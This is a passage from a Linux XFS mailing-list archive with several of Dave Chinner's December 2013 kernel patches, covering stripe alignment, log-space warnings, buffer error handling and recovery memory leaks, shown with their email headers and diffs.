bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143032 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When swalloc is specified as a mount option, allocations are supposed to be aligned to the stripe width rather than the stripe unit of the underlying filesystem. However, it does not do this. What the implementation does is round up the allocation size to a stripe width, hence ensuring that all allocations span a full stripe width. It does not, however, ensure that that allocation is aligned to a stripe width, and hence the allocations can span multiple underlying stripes and so still see RMW cycles for things like direct IO on MD RAID. So, if the swalloc mount option is set, change the allocation alignment in xfs_bmap_btalloc() to use the stripe width rather than the stripe unit. Signed-off-by: Dave Chinner --- fs/xfs/xfs_bmap.c | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 8401f11..3b2c14b 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -3648,10 +3648,19 @@ xfs_bmap_btalloc( int isaligned; int tryagain; int error; + int stripe_align; ASSERT(ap->length); mp = ap->ip->i_mount; + + /* stripe alignment for allocation is determined by mount parameters */ + stripe_align = 0; + if (mp->m_swidth && (mp->m_flags & XFS_MOUNT_SWALLOC)) + stripe_align = mp->m_swidth; + else if (mp->m_dalign) + stripe_align = mp->m_dalign; + align = ap->userdata ? xfs_get_extsz_hint(ap->ip) : 0; if (unlikely(align)) { error = xfs_bmap_extsize_align(mp, &ap->got, &ap->prev, @@ -3660,6 +3669,8 @@ xfs_bmap_btalloc( ASSERT(!error); ASSERT(ap->length); } + + nullfb = *ap->firstblock == NULLFSBLOCK; fb_agno = nullfb ? NULLAGNUMBER : XFS_FSB_TO_AGNO(mp, *ap->firstblock); if (nullfb) { @@ -3735,7 +3746,7 @@ xfs_bmap_btalloc( */ if (!ap->flist->xbf_low && ap->aeof) { if (!ap->offset) { - args.alignment = mp->m_dalign; + args.alignment = stripe_align; atype = args.type; isaligned = 1; /* @@ -3760,13 +3771,13 @@ xfs_bmap_btalloc( * of minlen+alignment+slop doesn't go up * between the calls. */ - if (blen > mp->m_dalign && blen <= args.maxlen) - nextminlen = blen - mp->m_dalign; + if (blen > stripe_align && blen <= args.maxlen) + nextminlen = blen - stripe_align; else nextminlen = args.minlen; - if (nextminlen + mp->m_dalign > args.minlen + 1) + if (nextminlen + stripe_align > args.minlen + 1) args.minalignslop = - nextminlen + mp->m_dalign - + nextminlen + stripe_align - args.minlen - 1; else args.minalignslop = 0; @@ -3788,7 +3799,7 @@ xfs_bmap_btalloc( */ args.type = atype; args.fsbno = ap->blkno; - args.alignment = mp->m_dalign; + args.alignment = stripe_align; args.minlen = nextminlen; args.minalignslop = 0; isaligned = 1; -- 1.8.4.rc3 From dave@fromorbit.com Wed Dec 11 23:34:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 45EA37F50 for ; Wed, 11 Dec 2013 23:34:45 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 23D7D8F8035 for ; Wed, 11 Dec 2013 21:34:45 -0800 (PST) X-ASG-Debug-ID: 1386826481-04cb6c537e6c02d0002-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id O1HBOlc1Q4Bwch59 for ; Wed, 11 Dec 2013 21:34:43 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAMZJqVJ5LHyk/2dsb2JhbABZgwe7WRd0giUBAQUnLzMIGDE5AxsZiAHCMheTQwSUMZV2gz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 16:04:41 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vqyv2-0000bm-A0 for xfs@oss.sgi.com; Thu, 12 Dec 2013 16:34:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vqyv2-0003cP-92 for xfs@oss.sgi.com; Thu, 12 Dec 2013 16:34:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/6] xfs: prevent spurious "head behind tail" warnings Date: Thu, 12 Dec 2013 16:34:34 +1100 X-ASG-Orig-Subj: [PATCH 2/6] xfs: prevent spurious "head behind tail" warnings Message-Id: <1386826478-13846-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1386826478-13846-1-git-send-email-david@fromorbit.com> References: <1386826478-13846-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386826483 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143032 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When xlog_space_left() cracks the grant head and the log tail, it does so without locking to synchronise the sampling of the variables. It samples the grant head first, so if there is a delay before it smaples the log tail, there is a window where the log tail could have moved onwards and be moved past the sampled value of the grant head. This then leads to the "xlog_space_left: head behind tail" warning message. To avoid spurious output in this situation, swap the order in which the variables are cracked and disable preemption to minimise the potential delays between them being sampled. This means that the head may grant head may move if there is a delay but the log tail will be stable, hence ensuring the tail does not jump the head accidentally. The code also handles this condition without problems or warnings. While there, update the code with detailed comments on the cases that it is handling so it is easier to understand in future. Signed-off-by: Dave Chinner --- fs/xfs/xfs_log.c | 99 +++++++++++++++++++++++++++++++++++++------------------- 1 file changed, 66 insertions(+), 33 deletions(-) diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c index 8497a00..97b2705 100644 --- a/fs/xfs/xfs_log.c +++ b/fs/xfs/xfs_log.c @@ -1095,55 +1095,88 @@ xlog_assign_tail_lsn( } /* - * Return the space in the log between the tail and the head. The head - * is passed in the cycle/bytes formal parms. In the special case where - * the reserve head has wrapped passed the tail, this calculation is no - * longer valid. In this case, just return 0 which means there is no space - * in the log. This works for all places where this function is called - * with the reserve head. Of course, if the write head were to ever - * wrap the tail, we should blow up. Rather than catch this case here, - * we depend on other ASSERTions in other parts of the code. XXXmiken + * Return the space in the log between the tail and the head. * - * This code also handles the case where the reservation head is behind - * the tail. The details of this case are described below, but the end - * result is that we return the size of the log as the amount of space left. + * This has two special cases where head and tail overlap + * - head wraps passed the tail; the log is considered full + * - tail overtakes the head; the log is considered empty. + * This should never happen, so warn when it does. */ STATIC int xlog_space_left( struct xlog *log, atomic64_t *head) { - int free_bytes; int tail_bytes; int tail_cycle; int head_cycle; int head_bytes; + /* + * Sample the tail before head to avoid spurious "head behind tail" + * warnings due to racing tail updates. We disable preemption and dump a + * memory barrier here to make sure we pick up the latest values with as + * little latency between the samples as possible. + */ + preempt_disable(); + smp_mb(); + xlog_crack_atomic_lsn(&log->l_tail_lsn, &tail_cycle, + &tail_bytes); xlog_crack_grant_head(head, &head_cycle, &head_bytes); - xlog_crack_atomic_lsn(&log->l_tail_lsn, &tail_cycle, &tail_bytes); + preempt_enable(); + tail_bytes = BBTOB(tail_bytes); - if (tail_cycle == head_cycle && head_bytes >= tail_bytes) - free_bytes = log->l_logsize - (head_bytes - tail_bytes); - else if (tail_cycle + 1 < head_cycle) + + /* + * If the tail cycle is not within one count of head, we are in grant + * space overcommit situation and so there is no log space available to + * anyone right now. + */ + if (tail_cycle + 1 < head_cycle) return 0; - else if (tail_cycle < head_cycle) { + + /* + * If the tail is in previous cycle, space available is the region + * between the tail and the head. + * + * H T + * +2222222111111111111111+ + * +-- free --+ + */ + if (tail_cycle < head_cycle) { ASSERT(tail_cycle == (head_cycle - 1)); - free_bytes = tail_bytes - head_bytes; - } else { - /* - * The reservation head is behind the tail. - * In this case we just want to return the size of the - * log as the amount of space left. - */ - xfs_alert(log->l_mp, - "xlog_space_left: head behind tail\n" - " tail_cycle = %d, tail_bytes = %d\n" - " GH cycle = %d, GH bytes = %d", - tail_cycle, tail_bytes, head_cycle, head_bytes); - ASSERT(0); - free_bytes = log->l_logsize; - } - return free_bytes; + return tail_bytes - head_bytes; + } + + /* + * If the tail is in the same cycle, space available is the regions + * outside the range between the tail and the head: + * + * T H + * +2222222222222222211111+ + * +-- used --+ + * +free+ +free+ + * + * If the head and tail are the same, then the whole log is free. + */ + if (tail_cycle == head_cycle && head_bytes >= tail_bytes) + return log->l_logsize - (head_bytes - tail_bytes); + + /* + * The head is behind the tail. That's not supposed to happen, but we + * need to handle it. In this case, it's the equivalent of the entire + * log being empty and available for use. + */ + xfs_alert(log->l_mp, + "%s: Head behind log tail, caller %pF\n" + " tail_cycle = %d, tail_bytes = %d\n" + " GH cycle = %d, GH bytes = %d", + __func__, (void *)_RET_IP_, + tail_cycle, tail_bytes, head_cycle, head_bytes); +#ifdef DEBUG + dump_stack(); +#endif + return log->l_logsize; } -- 1.8.4.rc3 From dave@fromorbit.com Wed Dec 11 23:34:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A91887F4E for ; Wed, 11 Dec 2013 23:34:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 959E48F8035 for ; Wed, 11 Dec 2013 21:34:43 -0800 (PST) X-ASG-Debug-ID: 1386826481-04cb6c537e6c02d0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id zCkxJPZtiP9tzi1E for ; Wed, 11 Dec 2013 21:34:42 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlMGAMZJqVJ5LHyk/2dsb2JhbABZgwe7WRd0gwI7gQIDiDWjIJ8pjyWEHgSqJ4M9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 16:04:41 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vqyv2-0000bk-8y for xfs@oss.sgi.com; Thu, 12 Dec 2013 16:34:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vqyv2-0003cG-7m for xfs@oss.sgi.com; Thu, 12 Dec 2013 16:34:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/6] xfs: fixes for 3.13-rc4 Date: Thu, 12 Dec 2013 16:34:32 +1100 X-ASG-Orig-Subj: [PATCH 0/6] xfs: fixes for 3.13-rc4 Message-Id: <1386826478-13846-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386826481 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143032 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, Theses are all the kernel fixes I've accumulated over the past few weeks. There are a couple of IO error handling fixes, log grant head accounting fixes to avod spurious warnings, a swalloc alignment fix, and a patch to fix all the leaks in xlog_recover_process_data(). Cheers, Dave. From dave@fromorbit.com Wed Dec 11 23:34:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C031E7F50 for ; Wed, 11 Dec 2013 23:34:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9BE948F8039 for ; Wed, 11 Dec 2013 21:34:46 -0800 (PST) X-ASG-Debug-ID: 1386826482-04cbb041666c7150002-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id GHZzCWziiV9dMPBT for ; Wed, 11 Dec 2013 21:34:44 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAMZJqVJ5LHyk/2dsb2JhbABRCIMHu1kXdIIlAQEFJy8zCBgxOQMbGYgBwjIXjjKFEQSqJ4M9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 16:04:41 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vqyv2-0000bl-9Q for xfs@oss.sgi.com; Thu, 12 Dec 2013 16:34:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vqyv2-0003cK-8W for xfs@oss.sgi.com; Thu, 12 Dec 2013 16:34:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. Date: Thu, 12 Dec 2013 16:34:33 +1100 X-ASG-Orig-Subj: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. Message-Id: <1386826478-13846-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1386826478-13846-1-git-send-email-david@fromorbit.com> References: <1386826478-13846-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386826484 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143032 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner fsstress failed during a shutdown with the following assert: XFS: Assertion failed: xfs_buf_islocked(bp), file: fs/xfs/xfs_buf.c, line: 143 ..... xfs_buf_stale+0x3f/0xf0 xfs_bioerror_relse+0x2d/0x90 xfsbdstrat+0x51/0xa0 xfs_zero_remaining_bytes+0x1d1/0x2d0 xfs_free_file_space+0x5d0/0x600 xfs_change_file_space+0x251/0x3a0 xfs_ioc_space+0xcc/0x130 ..... xfs_zero_remaining_bytes() works with uncached buffers, and hence if we are preventing IO due to a shutdown, we should not be marking it stale as that is only for cached buffers. Instead, just mark it with an error and make sure it gets to the caller. [ 7732.193441] XFS: Assertion failed: xfs_buf_islocked(bp), file: fs/xfs/xfs_buf.c, line: 96 [ 7732.195036] ------------[ cut here ]------------ [ 7732.195890] kernel BUG at fs/xfs/xfs_message.c:107! [ 7732.196018] invalid opcode: 0000 [#1] SMP [ 7732.196018] Modules linked in: [ 7732.196018] CPU: 0 PID: 2899 Comm: fsstress Not tainted 3.12.0-rc7-dgc+ #47 [ 7732.196018] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 7732.196018] task: ffff88003a83ada0 ti: ffff88002c0ae000 task.ti: ffff88002c0ae000 [ 7732.196018] RIP: 0010:[] [] assfail+0x22/0x30 [ 7732.196018] RSP: 0000:ffff88002c0afae8 EFLAGS: 00010292 [ 7732.196018] RAX: 000000000000004d RBX: ffff880002e59600 RCX: 0000000000000000 [ 7732.196018] RDX: ffff88003fc0ed68 RSI: ffff88003fc0d3f8 RDI: 0000000000000246 [ 7732.196018] RBP: ffff88002c0afae8 R08: 0000000000000096 R09: 00000000000012ec [ 7732.196018] R10: 0000000000000000 R11: 00000000000012eb R12: 0000000000100002 [ 7732.196018] R13: ffffffff81473523 R14: 0000000000009fff R15: 0000000000009fff [ 7732.196018] FS: 00007f8017e4a700(0000) GS:ffff88003fc00000(0000) knlGS:0000000000000000 [ 7732.196018] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 7732.196018] CR2: 00007ff8d020a000 CR3: 0000000009b43000 CR4: 00000000000006f0 [ 7732.196018] Stack: [ 7732.196018] ffff88002c0afb08 ffffffff8147476e ffff880002e59600 0000000000100002 [ 7732.196018] ffff88002c0afb28 ffffffff814762cd ffff880002e59600 ffff880002e59600 [ 7732.196018] ffff88002c0afb58 ffffffff81476841 0000000000009f89 ffff880002e59600 [ 7732.196018] Call Trace: [ 7732.196018] [] xfs_buf_stale+0x2e/0xb0 [ 7732.196018] [] xfs_bioerror_relse+0x2d/0x90 [ 7732.196018] [] xfsbdstrat+0x51/0x90 [ 7732.196018] [] xfs_zero_remaining_bytes+0x1d3/0x2d0 [ 7732.196018] [] xfs_free_file_space+0x586/0x5b0 [ 7732.196018] [] ? slabs_cpu_partial_show+0xd2/0x120 [ 7732.196018] [] ? mntput_no_expire+0x49/0x160 [ 7732.196018] [] ? mnt_clone_write+0x12/0x30 [ 7732.196018] [] ? down_write+0x16/0x40 [ 7732.196018] [] xfs_ioc_space+0x2d4/0x450 [ 7732.196018] [] ? path_lookupat+0x6b/0x760 [ 7732.196018] [] ? xfs_trans_free+0x6e/0x80 [ 7732.196018] [] ? kmem_cache_alloc+0x31/0x150 [ 7732.196018] [] xfs_file_ioctl+0x48b/0xae0 [ 7732.196018] [] ? final_putname+0x26/0x50 [ 7732.196018] [] ? from_kgid+0x12/0x20 [ 7732.196018] [] ? from_kgid_munged+0xe/0x20 [ 7732.196018] [] ? cp_new_stat+0x146/0x160 [ 7732.196018] [] do_vfs_ioctl+0x452/0x530 [ 7732.196018] [] ? SYSC_newfstat+0x25/0x30 [ 7732.196018] [] SyS_ioctl+0x91/0xb0 [ 7732.196018] [] system_call_fastpath+0x16/0x1b Signed-off-by: Dave Chinner --- fs/xfs/xfs_buf.c | 47 ++++++++++++++++++++++++++++------------------- 1 file changed, 28 insertions(+), 19 deletions(-) diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index ce01c1a..27dc152 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -1076,7 +1076,14 @@ xfs_bioerror( */ XFS_BUF_UNREAD(bp); XFS_BUF_UNDONE(bp); - xfs_buf_stale(bp); + + /* + * we might be handling an uncached buffer here, in which case the + * stale buffer handling is irrelevant as is doing IO with the buffer + * locked. Hence we don't mark them stale. + */ + if (bp->b_pag) + xfs_buf_stale(bp); xfs_buf_ioend(bp, 0); @@ -1094,25 +1101,20 @@ xfs_bioerror_relse( struct xfs_buf *bp) { int64_t fl = bp->b_flags; + /* - * No need to wait until the buffer is unpinned. - * We aren't flushing it. - * - * chunkhold expects B_DONE to be set, whether - * we actually finish the I/O or not. We don't want to - * change that interface. + * No need to wait until the buffer is unpinned. We aren't flushing it. */ XFS_BUF_UNREAD(bp); XFS_BUF_DONE(bp); xfs_buf_stale(bp); bp->b_iodone = NULL; + + /* + * There's no reason to mark error for ASYNC buffers as there is no-one + * waiting to collect the error. + */ if (!(fl & XBF_ASYNC)) { - /* - * Mark b_error and B_ERROR _both_. - * Lot's of chunkcache code assumes that. - * There's no reason to mark error for - * ASYNC buffers. - */ xfs_buf_ioerror(bp, EIO); complete(&bp->b_iowait); } else { @@ -1129,14 +1131,13 @@ xfs_bdstrat_cb( if (XFS_FORCED_SHUTDOWN(bp->b_target->bt_mount)) { trace_xfs_bdstrat_shut(bp, _RET_IP_); /* - * Metadata write that didn't get logged but - * written delayed anyway. These aren't associated - * with a transaction, and can be ignored. + * If this is a cached write, then it is likely to be a delayed + * write metadata buffer that can be ignored because the + * contents are logged. */ if (!bp->b_iodone && !XFS_BUF_ISREAD(bp)) return xfs_bioerror_relse(bp); - else - return xfs_bioerror(bp); + return xfs_bioerror(bp); } xfs_buf_iorequest(bp); @@ -1176,7 +1177,15 @@ xfsbdstrat( { if (XFS_FORCED_SHUTDOWN(mp)) { trace_xfs_bdstrat_shut(bp, _RET_IP_); - xfs_bioerror_relse(bp); + /* + * we could be handling uncached IO here, in which case there is + * always a caller waiting to collect the error and releas the + * buffer. + */ + if (bp->b_pag) + xfs_bioerror_relse(bp); + else + xfs_bioerror(bp); return; } -- 1.8.4.rc3 From dave@fromorbit.com Wed Dec 11 23:34:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C0C367F5A for ; Wed, 11 Dec 2013 23:34:47 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id AD2728F8035 for ; Wed, 11 Dec 2013 21:34:47 -0800 (PST) X-ASG-Debug-ID: 1386826484-04cb6c537b6c02d0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id uwmGBGbQab0gN4oB for ; Wed, 11 Dec 2013 21:34:45 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAMZJqVJ5LHyk/2dsb2JhbABZgwe7WRd0giUBAQUnLzMIGDE5AxsZiAHCMheTQwSMWZJ7gwuHSIM9KIEsBA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 16:04:41 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vqyv2-0000bp-C4 for xfs@oss.sgi.com; Thu, 12 Dec 2013 16:34:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vqyv2-0003ce-B2 for xfs@oss.sgi.com; Thu, 12 Dec 2013 16:34:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 5/6] xfs: xlog_recover_process_data leaks like a sieve Date: Thu, 12 Dec 2013 16:34:37 +1100 X-ASG-Orig-Subj: [PATCH 5/6] xfs: xlog_recover_process_data leaks like a sieve Message-Id: <1386826478-13846-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1386826478-13846-1-git-send-email-david@fromorbit.com> References: <1386826478-13846-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386826484 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143032 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Fix the double free of the transaction structure introduced by commit 2a84108 ("xfs: free the list of recovery items on error"). In the process, make the freeing of the trans structure on error or completion of processing consistent - i.e. the responsibility of the the function that detected the error or completes processing. Add comments to document this behaviour so it can be maintained more easily in future. Fix the rest of the memory leaks of the transaction structure used by xlog_recover_process_data() that commit 2a84108 didn't address. Fix potential use-after-free of the trans structure by ensuring they are removed from the transaction recoovery-in-progress hash table before they are freed. Remove all the shouty XFS_ERROR() macros that are used directly after ASSERT(0) calls as they are entirely redundant and make the code harder to read. Signed-off-by: Dave Chinner --- fs/xfs/xfs_log_recover.c | 155 +++++++++++++++++++++++++++-------------------- 1 file changed, 88 insertions(+), 67 deletions(-) diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 07ab52c..517f7ee 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -1483,6 +1483,32 @@ xlog_recover_add_item( list_add_tail(&item->ri_list, head); } +/* + * Free up any resources allocated by the transaction + * + * Remember that EFIs, EFDs, and IUNLINKs are handled later. + */ +STATIC void +xlog_recover_free_trans( + struct xlog_recover *trans) +{ + xlog_recover_item_t *item, *n; + int i; + + hlist_del_init(&trans->r_list); + list_for_each_entry_safe(item, n, &trans->r_itemq, ri_list) { + /* Free the regions in the item. */ + list_del(&item->ri_list); + for (i = 0; i < item->ri_cnt; i++) + kmem_free(item->ri_buf[i].i_addr); + /* Free the item itself */ + kmem_free(item->ri_buf); + kmem_free(item); + } + /* Free the transaction recover structure */ + kmem_free(trans); +} + STATIC int xlog_recover_add_to_cont_trans( struct xlog *log, @@ -1548,7 +1574,7 @@ xlog_recover_add_to_trans( xfs_warn(log->l_mp, "%s: bad header magic number", __func__); ASSERT(0); - return XFS_ERROR(EIO); + goto out_eio; } if (len == sizeof(xfs_trans_header_t)) xlog_recover_add_item(&trans->r_itemq); @@ -1577,8 +1603,8 @@ xlog_recover_add_to_trans( "bad number of regions (%d) in inode log format", in_f->ilf_size); ASSERT(0); - kmem_free(ptr); - return XFS_ERROR(EIO); + goto out_free_eio; + } item->ri_total = in_f->ilf_size; @@ -1593,6 +1619,17 @@ xlog_recover_add_to_trans( item->ri_cnt++; trace_xfs_log_recover_item_add(log, trans, item, 0); return 0; + +out_free_eio: + kmem_free(ptr); +out_eio: + /* + * This transaction is now unrecoverable, so we need to remove it from + * the transaction hash so nobody else can find it and free it. The + * error we return will abort further recovery processing. + */ + xlog_recover_free_trans(trans); + return EIO; } /* @@ -1699,7 +1736,7 @@ xlog_recover_reorder_trans( */ if (!list_empty(&sort_list)) list_splice_init(&sort_list, &trans->r_itemq); - error = XFS_ERROR(EIO); + error = EIO; goto out; } } @@ -1713,6 +1750,15 @@ out: list_splice_tail(&inode_buffer_list, &trans->r_itemq); if (!list_empty(&cancel_list)) list_splice_tail(&cancel_list, &trans->r_itemq); + + /* + * If we failed to reorder the transaction, it is now unrecoverable so + * we need to remove it from the transaction hash so nobody else can + * find it and free it. The error we return will abort further recovery + * processing. + */ + if (error) + xlog_recover_free_trans(trans); return error; } @@ -3235,31 +3281,6 @@ xlog_recover_do_icreate_pass2( return 0; } -/* - * Free up any resources allocated by the transaction - * - * Remember that EFIs, EFDs, and IUNLINKs are handled later. - */ -STATIC void -xlog_recover_free_trans( - struct xlog_recover *trans) -{ - xlog_recover_item_t *item, *n; - int i; - - list_for_each_entry_safe(item, n, &trans->r_itemq, ri_list) { - /* Free the regions in the item. */ - list_del(&item->ri_list); - for (i = 0; i < item->ri_cnt; i++) - kmem_free(item->ri_buf[i].i_addr); - /* Free the item itself */ - kmem_free(item->ri_buf); - kmem_free(item); - } - /* Free the transaction recover structure */ - kmem_free(trans); -} - STATIC void xlog_recover_buffer_ra_pass2( struct xlog *log, @@ -3384,7 +3405,7 @@ xlog_recover_commit_pass1( xfs_warn(log->l_mp, "%s: invalid item type (%d)", __func__, ITEM_TYPE(item)); ASSERT(0); - return XFS_ERROR(EIO); + return EIO; } } @@ -3420,7 +3441,7 @@ xlog_recover_commit_pass2( xfs_warn(log->l_mp, "%s: invalid item type (%d)", __func__, ITEM_TYPE(item)); ASSERT(0); - return XFS_ERROR(EIO); + return EIO; } } @@ -3467,7 +3488,7 @@ xlog_recover_commit_trans( #define 